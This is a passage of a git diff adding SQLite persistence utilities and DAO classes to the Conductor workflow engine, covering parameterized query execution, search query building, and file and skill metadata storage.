    NOTE: The returned ResultSet must be closed/managed by the calling methods. + * + * @return {@link PreparedStatement#executeQuery()} + * @throws NonTransientException If any SQL errors occur. + */ + public ResultSet executeQuery() { + Long start = null; + if (logger.isTraceEnabled()) { + start = System.currentTimeMillis(); + } + + try { + return this.statement.executeQuery(); + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } finally { + if (null != start && logger.isTraceEnabled()) { + long end = System.currentTimeMillis(); + logger.trace("[{}ms] {}", (end - start), rawQuery); + } + } + } + + /** + * @return The single result of the query as an Object. + */ + public Object executeScalar() { + try (ResultSet rs = executeQuery()) { + if (!rs.next()) { + return null; + } + return rs.getObject(1); + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute the PreparedStatement and return a single 'primitive' value from the ResultSet. + * + * @param returnType The type to return. + * @param The type parameter to return a List of. + * @return A single result from the execution of the statement, as a type of {@literal + * returnType}. + * @throws NonTransientException {@literal returnType} is unsupported, cannot be cast to from + * the result, or any SQL errors occur. + */ + public V executeScalar(Class returnType) { + try (ResultSet rs = executeQuery()) { + if (!rs.next()) { + Object value = null; + if (Integer.class == returnType) { + value = 0; + } else if (Long.class == returnType) { + value = 0L; + } else if (Boolean.class == returnType) { + value = false; + } + return returnType.cast(value); + } else { + return getScalarFromResultSet(rs, returnType); + } + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute the PreparedStatement and return a List of 'primitive' values from the ResultSet. + * + * @param returnType The type Class return a List of. + * @param The type parameter to return a List of. + * @return A {@code List}. + * @throws NonTransientException {@literal returnType} is unsupported, cannot be cast to from + * the result, or any SQL errors occur. + */ + public List executeScalarList(Class returnType) { + try (ResultSet rs = executeQuery()) { + List values = new ArrayList<>(); + while (rs.next()) { + values.add(getScalarFromResultSet(rs, returnType)); + } + return values; + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute the statement and return only the first record from the result set. + * + * @param returnType The Class to return. + * @param The type parameter. + * @return An instance of {@literal } from the result set. + */ + public V executeAndFetchFirst(Class returnType) { + Object o = executeScalar(); + if (null == o) { + return null; + } + return convert(o, returnType); + } + + /** + * Execute the PreparedStatement and return a List of {@literal returnType} values from the + * ResultSet. + * + * @param returnType The type Class return a List of. + * @param The type parameter to return a List of. + * @return A {@code List}. + * @throws NonTransientException {@literal returnType} is unsupported, cannot be cast to from + * the result, or any SQL errors occur. + */ + public List executeAndFetch(Class returnType) { + try (ResultSet rs = executeQuery()) { + List list = new ArrayList<>(); + while (rs.next()) { + list.add(convert(rs.getObject(1), returnType)); + } + return list; + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute the PreparedStatement and return a List of {@literal Map} values from the ResultSet. + * + * @return A {@code List}. + * @throws SQLException if any SQL errors occur. + * @throws NonTransientException if any SQL errors occur. + */ + public List> executeAndFetchMap() { + try (ResultSet rs = executeQuery()) { + List> result = new ArrayList<>(); + ResultSetMetaData metadata = rs.getMetaData(); + int columnCount = metadata.getColumnCount(); + while (rs.next()) { + HashMap row = new HashMap<>(); + for (int i = 1; i <= columnCount; i++) { + row.put(metadata.getColumnLabel(i), rs.getObject(i)); + } + result.add(row); + } + return result; + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute the query and pass the {@link ResultSet} to the given handler. + * + * @param handler The {@link ResultSetHandler} to execute. + * @param The return type of this method. + * @return The results of {@link ResultSetHandler#apply(ResultSet)}. + */ + public V executeAndFetch(ResultSetHandler handler) { + try (ResultSet rs = executeQuery()) { + return handler.apply(rs); + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + @Override + public void close() { + try { + if (null != statement && !statement.isClosed()) { + statement.close(); + } + } catch (SQLException ex) { + logger.warn("Error closing prepared statement: {}", ex.getMessage()); + } + } + + protected final Query addParameterInternal(InternalParameterSetter setter) { + int index = getAndIncrementIndex(); + try { + setter.apply(this.statement, index); + return this; + } catch (SQLException ex) { + throw new NonTransientException("Could not apply bind parameter at index " + index, ex); + } + } + + protected V getScalarFromResultSet(ResultSet rs, Class returnType) throws SQLException { + Object value = null; + + if (Integer.class == returnType) { + value = rs.getInt(1); + } else if (Long.class == returnType) { + value = rs.getLong(1); + } else if (String.class == returnType) { + value = rs.getString(1); + } else if (Boolean.class == returnType) { + value = rs.getBoolean(1); + } else if (Double.class == returnType) { + value = rs.getDouble(1); + } else if (Date.class == returnType) { + value = rs.getDate(1); + } else if (Timestamp.class == returnType) { + value = rs.getTimestamp(1); + } else { + value = rs.getObject(1); + } + + if (null == value) { + throw new NullPointerException( + "Cannot get value from ResultSet of type " + returnType.getName()); + } + + return returnType.cast(value); + } + + protected V convert(Object value, Class returnType) { + if (Boolean.class == returnType) { + return returnType.cast(convertBoolean(value)); + } else if (Integer.class == returnType) { + return returnType.cast(convertInt(value)); + } else if (Long.class == returnType) { + return returnType.cast(convertLong(value)); + } else if (Double.class == returnType) { + return returnType.cast(convertDouble(value)); + } else if (String.class == returnType) { + return returnType.cast(convertString(value)); + } else if (value instanceof String) { + return fromJson((String) value, returnType); + } + + final String vName = value.getClass().getName(); + final String rName = returnType.getName(); + throw new NonTransientException("Cannot convert type " + vName + " to " + rName); + } + + protected Integer convertInt(Object value) { + if (null == value) { + return null; + } + + if (value instanceof Integer) { + return (Integer) value; + } + + if (value instanceof Number) { + return ((Number) value).intValue(); + } + + return NumberUtils.toInt(value.toString()); + } + + protected Double convertDouble(Object value) { + if (null == value) { + return null; + } + + if (value instanceof Double) { + return (Double) value; + } + + if (value instanceof Number) { + return ((Number) value).doubleValue(); + } + + return NumberUtils.toDouble(value.toString()); + } + + protected Long convertLong(Object value) { + if (null == value) { + return null; + } + + if (value instanceof Long) { + return (Long) value; + } + + if (value instanceof Number) { + return ((Number) value).longValue(); + } + return NumberUtils.toLong(value.toString()); + } + + protected String convertString(Object value) { + if (null == value) { + return null; + } + + if (value instanceof String) { + return (String) value; + } + + return value.toString().trim(); + } + + protected Boolean convertBoolean(Object value) { + if (null == value) { + return null; + } + + if (value instanceof Boolean) { + return (Boolean) value; + } + + if (value instanceof Number) { + return ((Number) value).intValue() != 0; + } + + String text = value.toString().trim(); + return "Y".equalsIgnoreCase(text) + || "YES".equalsIgnoreCase(text) + || "TRUE".equalsIgnoreCase(text) + || "T".equalsIgnoreCase(text) + || "1".equalsIgnoreCase(text); + } + + protected String toJson(Object value) { + if (null == value) { + return null; + } + + try { + return objectMapper.writeValueAsString(value); + } catch (JsonProcessingException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + protected V fromJson(String value, Class returnType) { + if (null == value) { + return null; + } + + try { + return objectMapper.readValue(value, returnType); + } catch (IOException ex) { + throw new NonTransientException( + "Could not convert JSON '" + value + "' to " + returnType.getName(), ex); + } + } + + protected final int getIndex() { + return index.get(); + } + + protected final int getAndIncrementIndex() { + return index.getAndIncrement(); + } + + @FunctionalInterface + private interface InternalParameterSetter { + + void apply(PreparedStatement ps, int idx) throws SQLException; + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/QueryFunction.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/QueryFunction.java new file mode 100644 index 0000000..a92943a --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/QueryFunction.java @@ -0,0 +1,26 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.util; + +import java.sql.SQLException; + +/** + * Functional interface for {@link Query} executions that return results. + * + * @author mustafa + */ +@FunctionalInterface +public interface QueryFunction { + + R apply(Query query) throws SQLException; +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/QueueStats.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/QueueStats.java new file mode 100644 index 0000000..72e11ca --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/QueueStats.java @@ -0,0 +1,39 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.util; + +public class QueueStats { + private Integer depth; + + private long nextDelivery; + + public void setDepth(Integer depth) { + this.depth = depth; + } + + public Integer getDepth() { + return depth; + } + + public void setNextDelivery(long nextDelivery) { + this.nextDelivery = nextDelivery; + } + + public long getNextDelivery() { + return nextDelivery; + } + + public String toString() { + return "{nextDelivery: " + nextDelivery + " depth: " + depth + "}"; + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/ResultSetHandler.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/ResultSetHandler.java new file mode 100644 index 0000000..5772f7c --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/ResultSetHandler.java @@ -0,0 +1,27 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.util; + +import java.sql.ResultSet; +import java.sql.SQLException; + +/** + * Functional interface for {@link Query#executeAndFetch(ResultSetHandler)}. + * + * @author mustafa + */ +@FunctionalInterface +public interface ResultSetHandler { + + R apply(ResultSet resultSet) throws SQLException; +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/SqliteIndexQueryBuilder.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/SqliteIndexQueryBuilder.java new file mode 100644 index 0000000..5e84a49 --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/SqliteIndexQueryBuilder.java @@ -0,0 +1,297 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.util; + +import java.sql.SQLException; +import java.time.Instant; +import java.time.ZoneOffset; +import java.time.ZonedDateTime; +import java.time.format.DateTimeFormatter; +import java.util.*; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.common.metadata.workflow.WorkflowClassifier; +import com.netflix.conductor.sqlite.config.SqliteProperties; + +public class SqliteIndexQueryBuilder { + + private final String table; + private final String freeText; + private final int start; + private final int count; + private final List sort; + private final List conditions = new ArrayList<>(); + + private boolean allowJsonQueries; + private boolean allowFullTextQueries; + + private static final String[] VALID_FIELDS = { + "workflow_id", + "correlation_id", + "workflow_type", + "start_time", + "status", + "task_id", + "task_type", + "task_def_name", + "update_time", + "json_data", + "parent_workflow_id", + "classifier" + }; + + private static final String[] VALID_SORT_ORDER = {"ASC", "DESC"}; + + private static class Condition { + private String attribute; + private String operator; + private List values; + private final String CONDITION_REGEX = "([a-zA-Z]+)\\s?(=|>|<|IN)\\s?(.*)"; + + public Condition() {} + + public Condition(String query) { + Pattern conditionRegex = Pattern.compile(CONDITION_REGEX); + Matcher conditionMatcher = conditionRegex.matcher(query); + if (conditionMatcher.find()) { + String[] valueArr = conditionMatcher.group(3).replaceAll("[\"'()]", "").split(","); + ArrayList values = new ArrayList<>(Arrays.asList(valueArr)); + this.attribute = camelToSnake(conditionMatcher.group(1)); + this.values = values; + this.operator = getOperator(conditionMatcher.group(2)); + if (this.attribute.endsWith("_time")) { + values.set(0, millisToUtc(values.get(0))); + } + } else { + throw new IllegalArgumentException("Incorrectly formatted query string: " + query); + } + } + + public String getQueryFragment() { + if (operator.equals("IN")) { + // Create proper IN clause for SQLite + String inClause = + attribute + + " IN (" + + String.join(",", Collections.nCopies(values.size(), "?")) + + ")"; + if (classifierMatchesUntagged()) { + return "(" + inClause + " OR " + attribute + " IS NULL)"; + } + return inClause; + } else if (operator.equals("MATCH")) { + // SQLite FTS5 full-text search + return "json_data MATCH ?"; + } else if (operator.equals("JSON_CONTAINS")) { + // SQLite JSON1 extension query + return "json_extract(json_data, ?) IS NOT NULL"; + } else if (operator.equals("LIKE")) { + return "lower(" + attribute + ") LIKE ?"; + } else { + if (attribute.endsWith("_time")) { + return attribute + " " + operator + " datetime(?)"; + } else if (operator.equals("=") + && values.size() == 1 + && values.get(0).contains("*")) { + return "lower(" + attribute + ") LIKE lower(?)"; + } else if (operator.equals("=") && classifierMatchesUntagged()) { + return "(" + attribute + " = ? OR " + attribute + " IS NULL)"; + } else { + return attribute + " " + operator + " ?"; + } + } + } + + /** + * Rows indexed before the classifier column existed have a NULL classifier but are + * semantically untagged, i.e. plain workflows. When a filter asks for the untagged token + * ({@link WorkflowClassifier#WORKFLOW}), widen the predicate to also match those legacy + * NULL rows. + */ + private boolean classifierMatchesUntagged() { + return "classifier".equals(attribute) + && values != null + && values.stream().anyMatch(WorkflowClassifier.WORKFLOW::equalsIgnoreCase); + } + + private String getOperator(String op) { + if (op.equals("IN") && values.size() == 1) { + return "="; + } + return op; + } + + public void addParameter(Query q) throws SQLException { + if (values.size() > 1) { + // For IN clause, add each value separately + for (String value : values) { + q.addParameter(value); + } + } else { + String val = values.get(0); + if (val.contains("*")) { + val = val.replace("*", "%"); + } + q.addParameter(val); + } + } + + private String millisToUtc(String millis) { + Long startTimeMilli = Long.parseLong(millis); + ZonedDateTime startDate = + ZonedDateTime.ofInstant(Instant.ofEpochMilli(startTimeMilli), ZoneOffset.UTC); + return DateTimeFormatter.ISO_DATE_TIME.format(startDate); + } + + private boolean isValid() { + return Arrays.asList(VALID_FIELDS).contains(attribute); + } + + public void setAttribute(String attribute) { + this.attribute = attribute; + } + + public void setOperator(String operator) { + this.operator = operator; + } + + public void setValues(List values) { + this.values = values; + } + } + + public SqliteIndexQueryBuilder( + String table, + String query, + String freeText, + int start, + int count, + List sort, + SqliteProperties properties) { + this.table = table; + this.freeText = freeText; + this.start = start; + this.count = count; + this.sort = sort != null ? sort : Collections.emptyList(); + this.allowFullTextQueries = true; + this.allowJsonQueries = true; + this.parseQuery(query); + this.parseFreeText(freeText); + } + + public String getQuery() { + return getQuery("json_data"); + } + + public String getQuery(String selectColumn) { + String queryString = ""; + List validConditions = + conditions.stream().filter(c -> c.isValid()).collect(Collectors.toList()); + if (validConditions.size() > 0) { + queryString = + " WHERE " + + String.join( + " AND ", + validConditions.stream() + .map(c -> c.getQueryFragment()) + .collect(Collectors.toList())); + } + return "SELECT " + + selectColumn + + " FROM " + + table + + queryString + + getSort() + + " LIMIT ? OFFSET ?"; + } + + public String getCountQuery() { + String queryString = ""; + List validConditions = + conditions.stream().filter(c -> c.isValid()).collect(Collectors.toList()); + if (validConditions.size() > 0) { + queryString = + " WHERE " + + String.join( + " AND ", + validConditions.stream() + .map(c -> c.getQueryFragment()) + .collect(Collectors.toList())); + } + return "SELECT COUNT(*) FROM " + table + queryString; + } + + public void addParameters(Query q) throws SQLException { + for (Condition condition : conditions) { + if (condition.isValid()) { + condition.addParameter(q); + } + } + } + + public void addPagingParameters(Query q) throws SQLException { + q.addParameter(count); + q.addParameter(start); + } + + private void parseQuery(String query) { + if (!StringUtils.isEmpty(query)) { + for (String s : query.split(" AND ")) { + conditions.add(new Condition(s)); + } + Collections.sort(conditions, Comparator.comparing(Condition::getQueryFragment)); + } + } + + private void parseFreeText(String freeText) { + if (!StringUtils.isEmpty(freeText) && !freeText.equals("*")) { + Condition cond = new Condition(); + cond.setAttribute("json_data"); + cond.setOperator("LIKE"); + String[] values = {freeText}; + cond.setValues( + Arrays.stream(values) + .map(v -> "%" + v.toLowerCase() + "%") + .collect(Collectors.toList())); + conditions.add(cond); + } + } + + private String getSort() { + ArrayList sortConds = new ArrayList<>(); + for (String s : sort) { + String[] splitCond = s.split(":"); + if (splitCond.length == 2) { + String attribute = camelToSnake(splitCond[0]); + String order = splitCond[1].toUpperCase(); + if (Arrays.asList(VALID_FIELDS).contains(attribute) + && Arrays.asList(VALID_SORT_ORDER).contains(order)) { + sortConds.add(attribute + " " + order); + } + } + } + + if (sortConds.size() > 0) { + return " ORDER BY " + String.join(", ", sortConds); + } + return ""; + } + + private static String camelToSnake(String camel) { + return camel.replaceAll("\\B([A-Z])", "_$1").toLowerCase(); + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/TransactionalFunction.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/TransactionalFunction.java new file mode 100644 index 0000000..9577380 --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/TransactionalFunction.java @@ -0,0 +1,27 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.util; + +import java.sql.Connection; +import java.sql.SQLException; + +/** + * Functional interface for operations within a transactional context. + * + * @author mustafa + */ +@FunctionalInterface +public interface TransactionalFunction { + + R apply(Connection tx) throws SQLException; +} diff --git a/sqlite-persistence/src/main/java/org/conductoross/conductor/sqlite/dao/SqliteFileMetadataDAO.java b/sqlite-persistence/src/main/java/org/conductoross/conductor/sqlite/dao/SqliteFileMetadataDAO.java new file mode 100644 index 0000000..5604645 --- /dev/null +++ b/sqlite-persistence/src/main/java/org/conductoross/conductor/sqlite/dao/SqliteFileMetadataDAO.java @@ -0,0 +1,152 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.sqlite.dao; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Timestamp; +import java.util.ArrayList; +import java.util.List; + +import javax.sql.DataSource; + +import org.conductoross.conductor.dao.FileMetadataDAO; +import org.conductoross.conductor.model.FileModel; +import org.conductoross.conductor.model.file.FileUploadStatus; +import org.conductoross.conductor.model.file.StorageType; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.sqlite.dao.SqliteBaseDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; + +public class SqliteFileMetadataDAO extends SqliteBaseDAO implements FileMetadataDAO { + + private static final String INSERT_FILE = + "INSERT INTO file_metadata (file_id, file_name, content_type, " + + "storage_type, storage_path, upload_status, workflow_id, task_id, " + + "created_at, updated_at) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"; + + private static final String SELECT_BY_ID = "SELECT * FROM file_metadata WHERE file_id = ?"; + + private static final String UPDATE_STATUS = + "UPDATE file_metadata SET upload_status = ?, updated_at = CURRENT_TIMESTAMP " + + "WHERE file_id = ?"; + + private static final String UPDATE_UPLOAD_COMPLETE = + "UPDATE file_metadata SET upload_status = ?, storage_content_hash = ?, " + + "storage_content_size = ?, updated_at = CURRENT_TIMESTAMP " + + "WHERE file_id = ?"; + + private static final String SELECT_BY_WORKFLOW = + "SELECT * FROM file_metadata WHERE workflow_id = ?"; + + private static final String SELECT_BY_TASK = "SELECT * FROM file_metadata WHERE task_id = ?"; + + public SqliteFileMetadataDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + @Override + public void createFileMetadata(FileModel fileModel) { + executeWithTransaction( + INSERT_FILE, + q -> + q.addParameter(fileModel.getFileId()) + .addParameter(fileModel.getFileName()) + .addParameter(fileModel.getContentType()) + .addParameter(fileModel.getStorageType().name()) + .addParameter(fileModel.getStoragePath()) + .addParameter(fileModel.getUploadStatus().name()) + .addParameter(fileModel.getWorkflowId()) + .addParameter(fileModel.getTaskId()) + .addParameter(Timestamp.from(fileModel.getCreatedAt())) + .addParameter(Timestamp.from(fileModel.getUpdatedAt())) + .executeUpdate()); + } + + @Override + public FileModel getFileMetadata(String fileId) { + return queryWithTransaction( + SELECT_BY_ID, + q -> + q.addParameter(fileId) + .executeAndFetch( + rs -> { + if (!rs.next()) return null; + return toFileModel(rs); + })); + } + + @Override + public void updateUploadStatus(String fileId, FileUploadStatus status) { + executeWithTransaction( + UPDATE_STATUS, + q -> q.addParameter(status.name()).addParameter(fileId).executeUpdate()); + } + + @Override + public void updateUploadComplete( + String fileId, FileUploadStatus status, String contentHash, long contentSize) { + executeWithTransaction( + UPDATE_UPLOAD_COMPLETE, + q -> + q.addParameter(status.name()) + .addParameter(contentHash) + .addParameter(contentSize) + .addParameter(fileId) + .executeUpdate()); + } + + @Override + public List getFilesByWorkflowId(String workflowId) { + return queryWithTransaction( + SELECT_BY_WORKFLOW, + q -> q.addParameter(workflowId).executeAndFetch(this::toFileModelList)); + } + + @Override + public List getFilesByTaskId(String taskId) { + return queryWithTransaction( + SELECT_BY_TASK, q -> q.addParameter(taskId).executeAndFetch(this::toFileModelList)); + } + + private List toFileModelList(ResultSet rs) throws SQLException { + List list = new ArrayList<>(); + while (rs.next()) { + list.add(toFileModel(rs)); + } + return list; + } + + private FileModel toFileModel(ResultSet rs) throws SQLException { + FileModel model = new FileModel(); + model.setFileId(rs.getString("file_id")); + model.setFileName(rs.getString("file_name")); + model.setContentType(rs.getString("content_type")); + model.setStorageContentHash(rs.getString("storage_content_hash")); + long scs = rs.getLong("storage_content_size"); + model.setStorageContentSize(rs.wasNull() ? 0 : scs); + model.setStorageType(StorageType.valueOf(rs.getString("storage_type"))); + model.setStoragePath(rs.getString("storage_path")); + model.setUploadStatus(FileUploadStatus.valueOf(rs.getString("upload_status"))); + model.setWorkflowId(rs.getString("workflow_id")); + model.setTaskId(rs.getString("task_id")); + Timestamp createdAt = rs.getTimestamp("created_at"); + if (createdAt != null) model.setCreatedAt(createdAt.toInstant()); + Timestamp updatedAt = rs.getTimestamp("updated_at"); + if (updatedAt != null) model.setUpdatedAt(updatedAt.toInstant()); + return model; + } +} diff --git a/sqlite-persistence/src/main/java/org/conductoross/conductor/sqlite/dao/SqliteSkillMetadataDAO.java b/sqlite-persistence/src/main/java/org/conductoross/conductor/sqlite/dao/SqliteSkillMetadataDAO.java new file mode 100644 index 0000000..17120ed --- /dev/null +++ b/sqlite-persistence/src/main/java/org/conductoross/conductor/sqlite/dao/SqliteSkillMetadataDAO.java @@ -0,0 +1,205 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.sqlite.dao; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; + +import javax.sql.DataSource; + +import org.conductoross.conductor.dao.SkillMetadataDAO; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.sqlite.dao.SqliteBaseDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** SQLite {@link SkillMetadataDAO} — table {@code skill_metadata}. */ +public class SqliteSkillMetadataDAO extends SqliteBaseDAO implements SkillMetadataDAO { + + private static final String CLEAR_LATEST = + "UPDATE skill_metadata SET is_latest = ? WHERE owner_id = ? AND name = ?"; + + private static final String UPSERT_LATEST = + "INSERT INTO skill_metadata (owner_id, name, version, is_latest, detail_json, created_at, updated_at) " + + "VALUES (?, ?, ?, ?, ?, ?, ?) " + + "ON CONFLICT (owner_id, name, version) DO UPDATE SET " + + "is_latest = excluded.is_latest, detail_json = excluded.detail_json, " + + "updated_at = excluded.updated_at"; + + private static final String UPSERT_NO_LATEST = + "INSERT INTO skill_metadata (owner_id, name, version, is_latest, detail_json, created_at, updated_at) " + + "VALUES (?, ?, ?, ?, ?, ?, ?) " + + "ON CONFLICT (owner_id, name, version) DO UPDATE SET " + + "detail_json = excluded.detail_json, updated_at = excluded.updated_at"; + + private static final String SELECT_DETAIL = + "SELECT detail_json FROM skill_metadata WHERE owner_id = ? AND name = ? AND version = ?"; + + private static final String SELECT_LATEST_VERSION = + "SELECT version FROM skill_metadata WHERE owner_id = ? AND name = ? AND is_latest = ?"; + + private static final String SELECT_VERSIONS = + "SELECT detail_json FROM skill_metadata WHERE owner_id = ? AND name = ?"; + + private static final String SELECT_ALL = + "SELECT detail_json FROM skill_metadata WHERE owner_id = ?"; + + private static final String SELECT_LATEST_ALL = + "SELECT detail_json FROM skill_metadata WHERE owner_id = ? AND is_latest = ?"; + + private static final String DELETE_ONE = + "DELETE FROM skill_metadata WHERE owner_id = ? AND name = ? AND version = ?"; + + // In SQLite, NULL sorts lowest, so DESC places non-null updated_at first (NULLs last). + private static final String SELECT_NEWEST_REMAINING = + "SELECT version FROM skill_metadata WHERE owner_id = ? AND name = ? ORDER BY updated_at DESC LIMIT 1"; + + private static final String SET_LATEST = + "UPDATE skill_metadata SET is_latest = ? WHERE owner_id = ? AND name = ? AND version = ?"; + + public SqliteSkillMetadataDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + @Override + public void save( + String ownerId, + String name, + String version, + boolean makeLatest, + String detailJson, + Long createdAt, + Long updatedAt) { + if (makeLatest) { + executeWithTransaction( + CLEAR_LATEST, + q -> + q.addParameter(false) + .addParameter(ownerId) + .addParameter(name) + .executeUpdate()); + executeWithTransaction( + UPSERT_LATEST, + q -> + q.addParameter(ownerId) + .addParameter(name) + .addParameter(version) + .addParameter(true) + .addParameter(detailJson) + .addParameter(createdAt) + .addParameter(updatedAt) + .executeUpdate()); + } else { + executeWithTransaction( + UPSERT_NO_LATEST, + q -> + q.addParameter(ownerId) + .addParameter(name) + .addParameter(version) + .addParameter(false) + .addParameter(detailJson) + .addParameter(createdAt) + .addParameter(updatedAt) + .executeUpdate()); + } + } + + @Override + public Optional find(String ownerId, String name, String version) { + String json = + queryWithTransaction( + SELECT_DETAIL, + q -> + q.addParameter(ownerId) + .addParameter(name) + .addParameter(version) + .executeAndFetch(rs -> rs.next() ? rs.getString(1) : null)); + return Optional.ofNullable(json); + } + + @Override + public Optional latestVersion(String ownerId, String name) { + String version = + queryWithTransaction( + SELECT_LATEST_VERSION, + q -> + q.addParameter(ownerId) + .addParameter(name) + .addParameter(true) + .executeAndFetch(rs -> rs.next() ? rs.getString(1) : null)); + return Optional.ofNullable(version); + } + + @Override + public List listVersions(String ownerId, String name) { + return queryWithTransaction( + SELECT_VERSIONS, + q -> q.addParameter(ownerId).addParameter(name).executeAndFetch(this::toJsonList)); + } + + @Override + public List list(String ownerId, boolean allVersions) { + if (allVersions) { + return queryWithTransaction( + SELECT_ALL, q -> q.addParameter(ownerId).executeAndFetch(this::toJsonList)); + } + return queryWithTransaction( + SELECT_LATEST_ALL, + q -> q.addParameter(ownerId).addParameter(true).executeAndFetch(this::toJsonList)); + } + + @Override + public void delete(String ownerId, String name, String version) { + Optional latest = latestVersion(ownerId, name); + executeWithTransaction( + DELETE_ONE, + q -> + q.addParameter(ownerId) + .addParameter(name) + .addParameter(version) + .executeUpdate()); + if (latest.isPresent() && latest.get().equals(version)) { + String newest = + queryWithTransaction( + SELECT_NEWEST_REMAINING, + q -> + q.addParameter(ownerId) + .addParameter(name) + .executeAndFetch( + rs -> rs.next() ? rs.getString(1) : null)); + if (newest != null) { + executeWithTransaction( + SET_LATEST, + q -> + q.addParameter(true) + .addParameter(ownerId) + .addParameter(name) + .addParameter(newest) + .executeUpdate()); + } + } + } + + private List toJsonList(ResultSet rs) throws SQLException { + List list = new ArrayList<>(); + while (rs.next()) { + list.add(rs.getString(1)); + } + return list; + } +} diff --git a/sqlite-persistence/src/main/java/org/conductoross/conductor/sqlite/dao/SqliteSkillPackageDAO.java 